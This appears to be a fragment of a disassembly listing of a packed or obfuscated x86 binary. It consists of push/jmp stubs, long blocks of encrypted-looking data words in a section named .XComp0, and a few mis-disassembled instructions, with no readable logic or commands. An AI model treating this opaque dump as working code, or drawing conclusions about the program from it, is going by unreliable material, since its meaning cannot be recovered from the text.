; ---------------------------------------------------------------------------
		push	5FCAFBCh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCB4BFh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCB6DBh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCB788h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCB80Dh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCB85Eh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCBA65h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCBBCBh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCBE97h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dw 8C33h
		dd 58785F85h, 786285B7h, 4D6E598Bh, 796184B8h, 45BC568Eh
		dd 0AB51B616h, 0B369A24Ch, 0BC60A914h, 0A359B419h, 0A2DB7841h
		dd 1F2399F1h, 0D3F8FFAAh, 8C161C32h, 56CD8D63h,	0FF6AB326h
		dd 0FBE4C3CAh, 0E87EEA12h, 76CC87B2h, 0A42F8F8Dh, 0D340B930h
		dd 0F7B223EAh, 1B1BC515h, 51603FBh, 239CDB74h, 0F8FD34F1h
		dd 9CDB2E4Bh, 0CB44AC23h, 0BFEDDCAh, 0DD09008Ah, 0C210F701h
		dd 0D6F36804h, 1AC33C48h, 72702F3h, 851Bh, 46CEED00h, 0E48E2CCFh
		dd 38E31E76h, 29959745h, 3531C5C2h, 77C277A3h, 97E891C2h
		dd 86652995h, 0C86EA368h, 8EAAA585h, 1546FB2Fh,	239C8564h
		dd 0EA1224E1h, 856B0E4Dh, 3BE8239Ch, 0BD3AFFF6h, 0D404E81Bh
		dd 66D90D45h, 4D2C1F2Fh, 0CB239B86h, 4E3EA21h, 4FBD30D9h
		dd 0EC742A38h, 93793521h, 0E48A693Dh, 5C1D3E02h, 0D9239C03h
		dd 0BC51E52Ch, 48D5DF20h, 27DE0BF4h, 87FCDCC5h,	0D3634F99h
		dd 14357h, 638CB100h, 798623AAh, 0AC59824Fh, 95B97029h
		dd 1C917656h, 0AD3EB21Bh, 2AB6D8E2h, 9FDA79A0h,	1C2995FAh
		dd 4423AA5Fh, 87CA729Bh, 2995FF35h, 0C77D902Dh,	0B11CBF20h
		dd 4F689158h, 41189D6Ch, 8A7534ADh, 7831A461h, 3EAF5E7Fh
		dd 99FCB6Bh, 0F64732E1h, 0A5C42995h, 1CCDC043h,	0EFE51CD5h
		dd 2265F7CAh, 3BF81E6Ch, 3AD5F906h, 852D3114h, 0A41B2F8Fh
		dd 8E8CF38h, 43D38607h,	0F116CEBBh, 33720B48h, 32EF239Dh
		dd 5AD6401Ch, 0A35E9370h, 0C085E331h, 83937A0Bh, 49748BB6h
		dd 0FA1CCDC0h, 987CA657h, 8B342329h, 935E0B82h,	0F588936Eh
		dd 721DA095h, 6D94A1B5h, 95F68794h, 0B6731DA0h,	9E6951A0h
		dd 98715C63h, 0E6CE2715h, 0D3049DC9h, 973EF81Eh, 973DB733h
		dd 0BEDECF3Ah, 0A173BA37h, 0A11E74C2h, 0B605CC37h, 0BEF3B1DDh
		dd 3FC7AEC7h, 32000029h, 7B5A828Fh, 5D88BC53h, 7154887Bh
		dd 6087BD48h, 0BB598B7Ch, 56B11946h, 66A547AEh,	55B417BEh
		dd 66A748AFh, 0B86314BEh, 2399EFC5h, 8CEB8D42h,	9F218A60h
		dd 9B35CECCh, 0F8DC3610h, 9F6AD1A4h, 98755A7Dh,	0DD7EC364h
		dd 2995B19Ch, 74CA6C19h, 83169FFh, 583FCEEFh, 43169778h
		dd 55D586B3h, 702F8F98h, 0E49142B3h, 0C3239D72h, 0B15C817Eh
		dd 79903B3Ch, 0B56CA574h, 9D72D3A6h, 0C3535023h, 5F581644h
		dd 0A4698D7Ch, 48D64EC8h, 50B7239Ch, 0FE7F9C5Dh, 7B239D66h
		dd 77B3438Eh, 0DEh, 0E873CED1h,	29968595h, 0F2011512h
		dd 2BB20ECDh, 934647BEh, 4782575Eh, 71796146h, 998DAD9Eh
		dd 33BA6FD2h, 95C72C90h, 52BB2429h, 6BA24BAAh, 649F49B6h
		dd 4D96B871h, 0EA0F4BDDh, 0B319ECCDh, 347D3402h, 0DD5AFC02h
		dd 3DE9B024h, 7BF513B8h, 0DEA78DBh, 0F09D2F8Fh,	0E605EB1Ch
		dd 0B04BC3EFh, 239D83CDh, 7B625D4Ah, 9752078Eh,	563F565h
		dd 34ED24E7h, 9973C527h, 82B76429h, 41B45775h, 0B9709536h
		dd 0BB1F9895h, 0C12A954Ch, 76985144h, 56B119BCh, 0F2230285h
		dd 866F80BEh, 27FEh, 0A143CEF1h, 0CF759A36h, 9B41C228h
		dd 0CE768F3Ch, 0A044C327h, 6C500F82h, 607E699Bh, 6F4E79ABh
		dd 5A83629Ah, 966391B3h, 99EEF485h, 3CFC7123h, 72A7608Ch
		dd 91A56885h, 6E9F40A7h, 73CE58B6h, 968595E8h, 1151229h
		dd 4D40CDF2h, 63AA13ACh, 52BB24D3h, 7B02B0AAh, 0FE1498EDh
		dd 0EB4B059Dh, 0CE46FB26h, 41E8C47Dh, 2B4EEDD9h, 0A82995A9h
		dd 3DDE5BFBh, 2F8EC1D1h, 0B1CC8724h, 2E239C90h,	0C68DB871h
		dd 0E02AFFABh, 15B632A4h, 530039F0h, 6D07483Fh,	948A7892h
		dd 0C9F97367h, 97A0310h, 0AF76115h, 34DF1ABFh, 61150949h
		dd 0F8EE1DBFh, 6802EB0Bh, 827DA4FEh, 0A248AF5Ch
		db 61h
byte_5A4E45	db 0CDh, 60h, 0B3h	; DATA XREF: .XComp0:004531BCo
		dd 670E4430h, 4336E51Ch, 0C05B1BCFh, 13DE2991h,	0F4DCFB03h
		dd 0A92BD61Bh, 0D1E34BB8h, 6ECB6BB2h, 7BA16C51h, 8668735Ch
		dd 90591085h, 7C137E43h, 42234C7Bh, 2706h, 93BD6F9h, 0D70D02DEh
		dd 339CAF0h, 0D60EF7E4h, 83CCBEFh, 24C8F72Ah, 389641E3h
		dd 27C631D3h, 329B3AE2h, 0FEBB29DBh, 99ED1C5Dh,	94349923h
		dd 6FAA638Ch, 37EF9C9Dh, 9FAF4EE5h, 0E642D446h,	0DB8EFF04h
		dd 0E30EB16h, 442F8F74h, 0F4F910BBh, 0F310BA25h, 36EE9B63h
		dd 55C3BAF4h, 800D40Dh,	21D10105h, 5045C825h, 71BE5099h
		dd 7D8C2FC8h, 0BA8DA178h, 29965A54h, 0B83FFAA7h, 0DC5DF112h
		dd 0ED1AC23Dh, 87F60649h, 0FA8E555h, 47C02CADh,	7F410B82h
		dd 0EA40C49h, 0D38F9F6Ah, 23500045h, 0BDCDD3B9h, 8832CD74h
		dd 0BD5EDB7Bh, 5BEBD4D1h, 0B3767724h, 6667A04Ch, 51C7A3B3h
		dd 8E29D009h, 173ADC31h, 55F2C0CCh, 0A059807Dh,	0A3BE062Ch
		dd 0C0564C6Eh, 5B818C31h, 59BA537Ch, 6A908942h,	1F2E3738h
		dd 12000026h, 1BBA62AFh, 3DA85CB3h, 11B4689Bh, 40A75DA8h
		dd 5BB96B9Ch, 0B6517926h, 8685678Eh, 0B554775Eh, 8687688Fh
		dd 98C3745Eh, 2399ECE5h, 8C4BED62h, 9D6FAA63h, 1FB0E423h
		dd 8F30A7ADh, 8CA2777Eh, 951C753h, 29D029D0h, 967C8FEAh
		dd 40F0C29h, 29967C79h,	5F5A8204h, 5F3FAA25h, 73BE4F70h
		dd 780670E3h, 94912F8Fh, 28ADEA70h, 9EBD64BEh, 29967670h
		dd 8AC7A9C3h, 2EA19BFh,	0CB0673FCh, 0C742A916h,	3FAC13C6h
		dd 440F30C6h, 0BA4D1C87h, 0E11842D4h, 1DDF4D6h,	0F2DCC30Eh
		dd 1B38F519h, 86F4D277h, 38D5FA05h, 0AA52E4B5h,	0C631F8FDh
		dd 37F2E328h, 45E91AC0h, 0BA218F19h, 84C9B45Fh,	59467B02h
		dd 2CA05990h, 2FEA1DBFh, 3EFB1BDAh, 4D7E1103h, 8948BF6Dh
		dd 82FDE265h, 0F1AE80FBh, 0FD0CAF48h, 60CB21F8h, 37C0FDDh
		dd 70C96688h, 0D3EF8AC9h, 0AF6C7508h, 9E6F509Fh, 0DB78C166h
		dd 7508D3A2h, 1DCC621Fh, 3D6E4DC0h, 67018B62h, 2508674Eh
		dd 0D4FB0000h, 0E0073Dh, 0E00AED0Fh, 0F5D60123h, 0E109EC10h
		dd 0ED24FE26h, 43F90EAEh, 2BD13AA4h, 34E821CCh,	3BE12C91h
		dd 4A33E099h, 0C72399EBh, 638C5E22h, 65886FAAh,	0D67831A4h
		dd 0DF0B9D0Dh, 96854934h, 0C4BCC629h, 73B8CD5Dh, 3F9E19D0h
		dd 0DB16C3CAh, 0FED8AE26h, 0E05078D5h, 0E118E14Eh, 96104732h
		dd 37D7C429h, 8F41F214h, 7CA05D2Fh, 0C4B5669Bh,	41239CDEh
		dd 0F7A8B244h, 73AEF462h, 7F8A31CEh, 0F736DC6Fh, 50C42995h
		dd 0BA23DC46h, 4EC0269h, 0C90003E5h, 0FF4C171Ch, 0BF381AE6h
		dd 0EA1DBD1Eh, 0C5530F1Fh, 8170649Dh, 0FF9FA0A0h, 7E972F2Ah
		dd 2BE6993Ch, 0A1ED2E0Bh, 2F265AB0h, 109843DDh,	0B52259DCh
		dd 2EFBF215h, 0E33F008h, 0B93CC7F1h, 0D4954EE0h, 890C03EBh
		dd 0B4223ED0h, 3BA8B36Eh, 27206195h, 40A92C90h,	0D019D0C5h
		dd 15F2DADDh, 0EE00C9A0h, 19E01906h, 204A33E0h,	1AC0146Fh
		dd 0F9D6F5E9h, 1C8A114h, 3CE1FEEDh, 6F205E1Fh, 23ECD414h
		dd 1A07F7B2h, 5CC3F9Dh,	0FF6E3DCh, 0E7D4CB9Eh, 2CC2971Eh
		dd 369A2502h, 0AF05D4D9h, 36F10DB6h, 0EDFC1204h, 0B3DE3DD0h
		dd 0C1A02101h, 23C0C5B0h, 0CB30000h, 0D8F8DF05h, 0F8E20537h
		dd 0CDEED90Bh, 0F9E10438h, 0C53CD60Eh, 2BD13696h, 33E922CCh
		dd 3CE02994h, 23D93499h, 225BF8C1h, 9F2399EAh, 638C862Ah
		dd 0DACA118Dh, 99501C1Ah, 0CA108614h, 0C243A80Fh, 3AA11ECBh
		dd 61F23FCFh, 2F8F5611h, 0CFDE0D7h, 4A33E089h, 0C7239D02h
		dd 0F7FF0FDAh, 0CA35D20Ah, 0D47E724h, 164CDAA1h, 1AE230EBh
		dd 87702996h, 7A2FA665h, 0E9E994BFh, 0B9661DA3h, 85A05D95h
		dd 6CE188AEh, 3961F7B1h, 183F5300h, 63928FD4h, 4E1B9279h
		dd 0E981283h, 29922DD4h, 1A8F6DBFh, 2BE6EA0Ch, 0EA1465F6h
		dd 949183E1h, 738CB582h, 0F0DBC44Bh, 31C59419h,	0DB23C11Eh
		dd 8CB57289h, 69A64AB5h, 52A1B564h, 7E79A06Dh, 7029AC61h
		dd 4C7154DEh, 1845F2C1h, 0AEC71EABh, 22DDC7h, 20F1D000h
		dd 1AF5D9FCh, 2ED503E2h, 1BEACFF6h, 29DEFEE9h, 0B3E021F3h
		dd 0F9DC0007h, 0E10438D3h, 0AED0FFAh, 0CEF428E5h, 0E98FEA29h
		dd 570C2399h, 0AA638C99h, 0A667886Fh, 0BD47A2Fh, 3D9F099Fh
		dd 3DDE03CEh, 2F931810h, 720B48E5h, 0EF2399F2h,	0F742F732h
		dd 99F2215Ch, 4DE19E23h, 17F6D7E0h, 0F2AB5EE5h,	0EE742399h
		dd 805D88BCh, 806B548Dh, 59AE0E89h, 369E7BB5h, 1EC0DFA8h
		dd 25C107EDh, 356D104Bh, 3DEA239Ah, 900662F4h, 0CD848F4Ah
		dd 0A22996C8h, 1BC33CE5h, 0D0E750F4h
; ---------------------------------------------------------------------------


loc_5A5344:				; DATA XREF: .XComp0:00453028o
					; .XComp0:004532CCo
		jmp	short loc_5A5360
; ---------------------------------------------------------------------------
		dw 0C693h
		dd 0C01DC130h, 36E3EA1Bh, 0D6CE46FBh, 59E68F1Fh, 5A9EB101h
		dd 75BCCAB6h
; ---------------------------------------------------------------------------


loc_5A5360:				; CODE XREF: sub_5A47B5:loc_5A5344j
		loope	loc_5A536A
		pop	ds
		mov	esi, 14C1844Fh
; ---------------------------------------------------------------------------
		db 0FEh, 0BEh
; ---------------------------------------------------------------------------


loc_5A536A:				; CODE XREF: sub_5A47B5:loc_5A5360j
		cmp	edi, [edx]
		sub	edx, ds:8000022h
		jmp	near ptr 0EE2C479Fh
; ---------------------------------------------------------------------------
		db 22h
		dd 16EDDBFAh, 23E207EEh, 11F6D601h, 9BD859EBh, 0C124D82Fh
		dd 0A94CF01Bh, 0B215C742h, 0F6DC000Dh, 0E8671241h, 7FE42399h
		dd 3169FFC1h, 18064B08h, 0A9162F93h, 0C931C540h, 1C845AAh
		dd 379621D8h, 910EDBD2h, 9F4EE02Bh, 56FAB23Eh, 0A14B5B83h
		dd 7E6F9436h, 8ABE66ABh, 23D1A510h, 36075CCAh, 701546FBh
		dd 102399F7h, 5838CBCh,	1638C8C0h, 572231DEh, 0CD2399D8h
		dd 0F9A618EBh, 23300930h, 2399D85Ah, 0DB042AD7h, 99D84238h
		dd 0E71CBE23h, 2ED901E6h, 342255A7h, 4E69CE6Ah,	8776986Dh
		dd 0F4F16B5Bh, 91B648D3h, 89000000h, 36B74C6Eh,	0FF6DD363h
		dd 0F30C3565h, 0BAC350C7h, 37299685h, 0C26F7F4Ah, 9685EC91h
		dd 0A7B46129h, 299685D6h, 1A9B5653h, 96860C69h,	0A4618A29h
		dd 64A94631h, 0C614F371h, 0A55B6AFBh, 549D8A23h, 311541CCh
		dd 4D2F85BFh, 4378h, 31CECA00h,	0B715828Dh, 0EB8FC254h
		dd 0A9299685h, 5A5BB00Eh, 65F36F7Fh, 1E3D043Dh,	2996855Bh
		dd 2E0B2BD8h, 8F99C1EDh, 1C37D42Fh, 239D7161h, 9B12F1D7h
		dd 0B42BD8CEh, 0D792030Ch, 0F0D0E712h, 0B250F1Fh, 95E873CEh
		dd 12299685h, 0CE5F23F8h, 0A9600E2Ah, 0F64FD985h, 0CB7D2080h
		dd 547A65C3h, 8CC772B7h, 2F8FA8AAh, 6F0A49F0h, 0FA239D3Fh
		dd 3AE3682Ah, 0DF9C0201h, 0F3FAA74Fh, 9A42CBF4h, 0AF5C827Dh
		dd 46746B3Eh, 755A99BDh, 1A858A66h, 835657B4h, 0AD6E934Eh
		dd 239D11CCh, 31BA5C49h, 6C61A646h, 2AAB628Bh, 686DA03Dh
		dd 11CD19ECh, 2D3F2B1Ch, 62C77D90h, 0CE315F6Ah,	9842130Eh
		dd 5B4EA66Bh, 83B30A82h, 0BF20CF5Fh, 0AC67B01Ch, 239CA3D1h
		dd 5198514Eh, 4FE024A8h, 45EC5BB9h, 9CCC6316h, 0EE23E023h
		dd 0DDDA9F48h, 0CF8A0BFEh, 6DB5233Fh, 0CDDFA7B4h, 8F852995h
		dd 1FFBD0h, 0B24AEC99h,	79235605h, 0E3A01DA4h, 0EECFF62Eh
		dd 360BAE1Fh, 0A4795425h, 42D4D11Dh, 0DB208D0Fh, 0C37E3B95h
		dd 6DD2E598h, 91A562A5h, 67886472h, 76577EA6h, 0D808365h
		dd 0FA218D3Fh, 62A7828Bh, 0BE8326A7h, 6E62DC9Dh, 507A59A5h
		dd 19D87EB3h, 27CB38B0h, 0A2EE18A6h, 5D816667h,	0FCBB495h
		dd 71B85D4Ch, 0B64D7B7Ch, 0ACBACD3Fh, 1D368F2h,	34D12432h
		dd 69534CA7h, 0D87E2BA2h, 8E2F3D29h, 557A5D7Fh,	5A7681B8h
		dd 7DB45B83h, 548DA178h, 754A3F95h, 326A4645h, 5AD6401Ch
		dd 0A55C9572h, 67792876h, 0F23E96ABh, 0F28BC8C4h, 6F9F74D4h
		dd 0AF385AB2h, 484DDA32h, 0A3024B08h, 8DCE6B93h, 9F7511ECh
		dd 0CF75BC69h, 4F46C728h, 86958668h, 9F7511F3h,	11847F69h
		dd 70B96658h, 0CB17F07Dh, 0FEDFFCE1h, 0AD1FDA0Fh, 220E2DA5h
		dd 225BF88Eh, 9F9F74AEh, 2D0727E2h, 0E5E825CAh,	793D044h
		dd 22DB68CEh, 5CF215B5h, 0BF5C9600h, 9F74ABBEh,	5E834E3Bh
		dd 2FC8C676h, 0FB1B51B1h, 55E11D3Eh, 288FA56Eh,	985144C5h
		dd 0C647E76h, 5691595h,	57930B52h, 0ABA27575h, 0A059BE66h
		dd 7BA30A73h, 749A8799h, 96C55875h, 997BA2E3h, 676EA360h
		dd 0A1DC77C2h, 1E997BA2h, 0AF7A892Fh, 0A2CDAC9Fh, 0A14BA97Bh
		dd 5C84636Ah, 719842B3h, 5A5FB965h, 1415DC72h, 778D5FA8h
		dd 7E7D9106h, 60369E50h, 0E01A1D2Dh, 19D039A4h,	34D9F6F5h
		dd 306E510h, 0DAE5E792h, 0A07349FFh, 329A59FDh,	7E0DF3B8h
		dd 0C40D2B15h, 0CF3CA21Dh, 2EB0BDEh, 55578362h,	86719376h
		dd 4C2BA267h, 0FE6F669Fh, 2455063Bh, 0A1897C0Bh, 69E110E4h
		dd 0E3DA3B00h, 0C6A6B453h, 0C037E227h, 0F04AEC1Dh, 1861F247h
		dd 95897BDAh, 493E04E8h, 843B689Bh, 0B1588372h,	98578488h
		dd 0EF201382h, 8214865Fh, 5F58A158h, 40A46F7Bh,	0AECF283h
		dd 1A1C2FBFh, 608F74E2h, 0A318796Ch, 0BDECF36h,	169F9AA9h
		dd 4EEEF800h, 641D720h,	0D68DF02Bh, 1D0A8381h, 7FEEBD4h
		dd 0E31ED386h, 0D67CFD1Eh, 1CF98381h, 81D67EFFh, 0C30EFB83h
		dd 0F910BA33h, 2DDCFFEDh, 2CE712F7h, 8381D651h,	0AE3DD1CEh
		dd 0EEF9FC11h, 6E0F4CD1h, 0EB8381D6h, 0D969EA21h, 0C801EE57h
		dd 0F221D801h, 8381DE87h, 0DE69143Fh, 39E68381h, 0AD36D8C5h
		dd 9CB78237h, 8381DEE1h, 0D16F586Ch, 0FEF8E99h,	0D1FDFC12h
		dd 0E61BF2DBh, 0E92AF5D9h, 83826E90h, 0D4D9100Dh, 0BA47F105h
		dd 0EB3B4A26h, 52DFh, 37952200h, 4CD3AA2h, 618C4CF2h, 23B525A8h
		dd 0F742F7h, 0EBBE2FE0h, 96852D50h, 59FDAA29h, 329A25DCh
		dd 0BC0E41D5h, 972F8FAAh, 0FFF617B8h, 5FC3C22Ah, 2DC695A2h
		dd 19C23DE4h, 2F4940CFh, 7C2320Ah, 66A84DE7h, 0D1000000h
		dd 8C0106E6h, 8C0339DDh, 8425A861h, 85DB9EBDh, 0BB582996h
		dd 9685DDA0h, 64AD5A29h, 0A80096D2h, 0C2EFC546h, 1D6B6DE2h
		dd 1FF52CE5h, 516EED44h, 6A3658BCh, 0F312B720h,	0A92BD663h
		dd 8FCAD2D1h, 0EA25C9D8h, 5BFB36E3h, 8E89AAF8h,	32E1182Fh
		dd 239C8747h, 0BF37D7C4h, 2FD1AC2h, 2ADFFEDDh, 1B3BF6A3h
		dd 0DC5F125h, 0A1CF3607h, 46E8BC00h, 0AB568C1Ah, 8EB5A270h
		dd 0D108F52Fh, 0AA0207E6h, 9C7D6330h, 0C1829458h, 4F600772h
		dd 0D97ABF18h, 2EE931A0h, 9AB9601Dh, 2EE931DFh,	0D38F9F5Ch
		dd 1DE41D45h, 2ACC39A2h, 0E2586B27h, 18C1BE34h,	2BCB3A9Fh
		dd 64BE28C2h, 0B17157BDh, 1E8164CEh, 0C3203BF8h, 0AF2EE8DBh
		dd 0DC77A848h, 22F666A1h, 86A8611Eh, 0B188B16Eh, 66B2CB88h
		dd 722F22F6h, 2BB00DDCh, 60242DC1h, 32DBDA8Fh, 0E0715F7h
		dd 611735B4h, 799B71A8h, 168656D6h, 8B3C41AFh, 63D04D29h
		dd 6AE58191h, 0B757C2FBh, 98755A7Dh, 0A60CB23Bh, 7E6788B3h
		dd 1C02h, 537DAF5h, 0EB11FEE2h,	0FF25DE0Ch, 0EA12F3D8h
		dd 0F428DF0Bh, 8B4E31Eh, 0D4FADDFFh, 0FBE20537h, 0CEEFD60Eh
		dd 82379D3Fh, 99E2A8D1h, 0C02523h, 968695E8h, 0BAC74D29h
		dd 2B1FA57Dh, 4B0F6AA9h, 8F8C2996h, 887B5D5Ah, 366CFA66h
		dd 5866500Bh, 0B4712F8Fh, 0C160B48Dh, 553E80BAh, 23AC54CBh
		dd 0E62BC991h, 2D9BC00Eh, 0EE00F9C8h, 0DC10DCFFh, 29A80505h
		dd 84639950h, 3A3DB059h, 0C97C5B95h, 65390FDBh,	42884FACh
		dd 698AB0FFh, 1B717Ch, 947D6400h, 0A6698570h, 9271577Eh
		dd 0A75E8B6Ah, 9D6A5275h, 2754CD67h, 35A044C3h,	25D07497h
		dd 36A143C6h, 22D07499h, 0E1B3C655h, 0BB302399h, 0FF69FFFDh
		dd 0BABD30DFh, 0F831F815h, 0DDFFF841h, 6D45082Eh, 0B32F8F93h
		dd 0C668A14Ch, 71C8712Eh, 9D7697E2h, 0C7671423h, 8F6A8F6Ah
		dd 9D76F984h, 6A897623h, 239D770Fh, 31A46785h, 75998678h
		dd 96C55A76h, 239D76E3h, 0B36EA360h, 12833961h,	20F486EEh
		dd 3A2F4D92h, 0B27C92F8h, 0BD64AB13h, 0DE709D42h, 6E5B6405h
		dd 71431697h, 0A7840AA7h, 30BF4FA7h, 6AA34C8Fh,	0A3492E9Fh
		dd 59826568h, 285F29ACh, 2FDE643Ah, 6AA54923h, 61A248AFh
		dd 9F99BD6Ch, 9A14927Ah, 6C1254B1h, 13F990CAh, 1CE7D1EEh
		dd 4A33C099h, 0C7239D22h, 0B12834DAh, 2297E271h, 6714239Dh
		dd 299683A2h, 944548C3h, 0C44B7382h, 223442D1h,	0EB0239Dh
		dd 0CFEFF8FDh, 3ECD4D40h, 14EB4E10h, 0D30AE6C6h, 31D31EE5h
		dd 0F0E52AC6h, 8BB6EC7Ah, 2F525EB6h, 6FE1C5FBh,	24C56CDFh
		dd 0AA152999h, 7F4A842h, 235CCD9Dh, 0C1B048EEh,	237F21Dh
		dd 0FCD9F10Ah, 2833210Bh, 1DA03155h, 0E51CD5D2h, 0A0314336h
		dd 33C3C01Dh, 7D4F906h,	3BE128E7h, 0CF7E1DEh, 0C83D9E89h
		dd 39DD14C5h
		dd 41F815BAh, 31225BF8h, 0E29F1DA0h, 0E9D6934Ch, 76F204FFh
		dd 0BA7FBAE0h, 0CA699C3Dh, 1DA031AFh, 52DF6F2Ch, 0B8C152A7h
		dd 701DA031h, 0A0319AE3h, 746A171Dh, 0B8C15287h, 351DA031h
		dd 0BA3A648h, 26239CC4h, 7E79C079h, 0E84C9062h,	3571AB95h
		dd 0E20F9FCh, 0EA0FFEDFh, 2179040Fh, 9F617A4h, 0E6EE4BE5h
		dd 5379548Fh, 0D66954B8h, 0D6235605h, 0E3A017A3h, 4E9082Eh
		dd 80168409h, 0B95A9F5Ah, 17A3D6C0h, 7A99403Dh,	17A3D6FFh
		dd 0C26F7F7Ch, 0AB5C8077h, 6CDF6F2Ah, 1D9D0032h, 144CC06Dh
		dd 0B8985D96h, 0A93A43D0h, 0CAB711AAh, 133FB4FFh, 0C4EDA2EDh
		dd 1955E1h, 68A94800h, 62AD11B4h, 56AD1BBAh, 63A247AEh
		dd 51B616C1h, 5B1899ABh, 8164986Fh, 698CB05Bh, 72558782h
		dd 0B61CC04Dh, 0DF275201h, 3FA42399h, 859EE881h, 0DB022996h
		dd 0BB11F62Eh, 0B648454Fh, 0D975A37Ah, 39C76132h, 94025EF0h
		dd 917C615Eh, 0CBAE4D1Ch, 48299587h, 966B965Bh,	9587F485h
		dd 0E6FAC29h, 8B299588h, 0DB7B289Eh, 19F5BD5Eh,	0C43B2F92h
		dd 0B048EE17h, 0E7EE19C1h, 0F742F732h, 0F32EDF00h, 98F51568h
		dd 81959223h, 809E4872h, 0B6924D2Fh, 2F1133FEh,	4E8B31CEh
		dd 5C51986Dh, 1A9B725Bh, 9F648A3Fh, 4DAF51CDh, 0E6E63399h
		dd 0DE89D8A1h, 0CF8A0B00h, 9528F41Ah, 0F3000002h, 529E20Ch
		dd 4A46CE2Fh, 22AD1302h, 0DF4B1737h, 31CE6583h,	0C16E808Bh
		dd 0DF89478h, 105998C1h, 792F4BFEh, 0E7ED2996h,	2E1A36FDh
		dd 67ABA747h, 27C7EFF4h, 35D8F5E2h, 26A2F621h, 1E157F05h
		dd 0CE26DA0Fh, 0A44A9C7Ah, 0EC60BD30h, 0AA4C1402h, 8B31CE94h
		dd 0BA5C0D80h, 62F139AEh, 29968517h, 0E81FCA94h, 0A21AE84Eh
		dd 0CE7EA267h, 8595E873h, 15122996h, 0FFC46401h, 0CE143466h
		dd 84D6D946h, 4EE00E16h, 8B34CEDh, 39DD8C01h, 523AA603h
		dd 6D8A502Fh, 0A4618A4Fh, 9DB17831h, 5E81h, 79635C00h
		dd 44C72592h, 0C0769851h, 73268FFh, 0E326C532h,	96852558h
		dd 0DC339B29h, 0E19E00D9h, 73CEE74Dh, 6FB654A1h, 0E000571Ah
		dd 0F154FA2Fh, 29963785h, 0EEE61B08h, 200ED31Fh, 0EE44EA5Bh
		dd 828D31CEh, 8C81BF6Ch, 837CA55Eh, 6841B45Bh, 2E1270C6h
		dd 768Ah, 0A248AF00h, 0FF67CD61h, 3A4C1568h, 49B1E377h
		dd 95C16F0Ah, 0FA2FEC29h, 97020A2Fh, 972C463Ch,	74DD3C29h
		dd 0A08A46A0h, 73CEA88Eh, 85A9628Ch, 9685B4C2h,	83A55429h
		dd 73CE7ACEh, 968595E8h, 1151229h, 63BC8F2h, 855D203Bh
		dd 2DDA2996h, 73CE3309h, 968595E8h, 1151229h, 91689178h
		dd 9685F782h, 6C877429h, 29968611h, 0C13B918Eh,	856ECE27h
		dd 0A63C0214h, 502F523Ah, 8F7Bh, 9439C600h, 0CE5FD579h
		dd 0A036B546h, 0AB0186E5h, 4F264589h, 9FCB6B41h, 0CE34D406h
		dd 6D6FF046h, 18B55361h, 0E02900F5h, 0B418E14Eh, 0D0D1EAA8h
		dd 0D281B89Eh, 29966EA7h, 74D77724h, 29966F06h,	86836A89h
		dd 6A8F5A0Fh, 576BCE62h, 1E30ED24h, 8D31CE18h, 139A6B50h
		dd 0CE6B8B46h, 0AB648C73h, 59DF6F2Ah, 76AB648Ch, 7D23509Eh
		dd 0E20C71F2h, 0E84EE029h, 2D902712h, 0EE00D9DCh, 0E873CE48h
		dd 29968595h, 11F8E312h, 7EB536D8h, 0B000000h, 0D3466FFh
		dd 4D40CDF2h, 0CEC47A9Ch, 0AA638C73h, 3F652642h, 3DD117DBh
		dd 96086C0Ah, 44CF2A29h, 29960839h, 0BA049FC4h,	0A618DC92h
		dd 0EFE625C7h, 0E608EF3Ah, 0CF061125h, 0E92ACF2Ah, 29958C90h
		dd 7A03100Dh, 3229958Ch, 958C5821h, 0B628D529h,	0CE0F25C9h
		dd 7046CE7Ah, 74CAED94h, 5D817086h, 45B287B2h, 0AAD360A3h
		dd 35299654h, 0AA9BFDE0h, 9F5C428Bh, 81749538h,	12B086A8h
		dd 0FD4E8A2Eh, 5DAFFFFFh, 5DC35388h, 3107275Ch,	159A46CEh
		dd 0BECBC6C3h, 0E35ACC98h, 0F18057A7h, 3DE42DDBh, 5B1E3D04h
		dd 0D12995ACh, 0D1BE20EBh, 95AC3742h, 2C7B429h,	3EF459ECh
		dd 0DCC92F92h, 0BB359A25h, 0EE554A3Ah, 0CBCC4D76h, 27188DA7h
		dd 45F527E2h, 0AB568BDFh, 98F90D70h, 799D8A23h,	748F85BCh
		dd 8C815ECCh, 87BB2F28h, 0DA99E467h, 69162398h,	32A347B0h
		dd 5C0D808Dh, 0DB688195h, 2398DAA4h, 5D50B516h,	2095725Ah
		dd 0D18DD9ACh, 0B492C047h, 48D2F238h, 55FDh, 31CE4700h
		dd 0A0797C87h, 85BEBB8Eh, 933C2996h, 9838BF7Ah,	93A37677h
		dd 85DC9AA9h, 5DCB2996h, 773FDC05h, 0BD2F8FB6h,	0AC2B9357h
		dd 0B757CD6Fh, 2AD8253Fh, 7F27DC3h, 3CA017C2h, 0E4112BCBh
		dd 12Fh, 2663BF15h, 4CF2822Ch, 12F38695h, 0B370239Dh, 31CE9DA3h
		dd 0A1787D88h, 1B47D18Dh, 8E1135E6h, 0C82F2F8Fh, 43E6E728h
		dd 9D7C6518h, 0EC25E223h, 5605B24Ah, 239D7C23h,	0F32EE3A0h
		dd 0A627E00Ch, 2BD663F3h, 0ECE12A94h, 0F3DA193Dh, 0E8D4EB16h
		dd 4250F1Fh, 7C5B1E3Dh,	2BD8239Dh, 0D7D97CC9h, 58FEA556h
		dd 0D6D73299h, 7856D244h, 0BC572293h, 239D65C1h, 4188413Eh
		dd 7B986198h, 239D6602h, 871827Fh, 85239D66h, 9AB97698h
		dd 2999F89Bh, 0DF0CF3A0h, 0D3641526h, 24E11DA0h, 0F20D34EDh
		dd 0CCF320CAh, 268F5CCEh, 41AC4BEBh, 2BE811C8h,	1DA17F52h
		dd 0ECE122C8h, 0F8DCC93Dh, 345D0794h, 201A3C57h, 2F316B5h
		dd 9887FE68h, 0FC724787h, 0F91ABF0Ah, 239D3D83h, 0E926CA35h
		dd 0D92135E4h, 0E50AF52Ch, 0E906F128h, 56F8B124h, 7D4F9DCh
		dd 0FEC25E4h, 0A4F4BAA4h, 33B0B5BEh, 26000014h,	379E46CBh
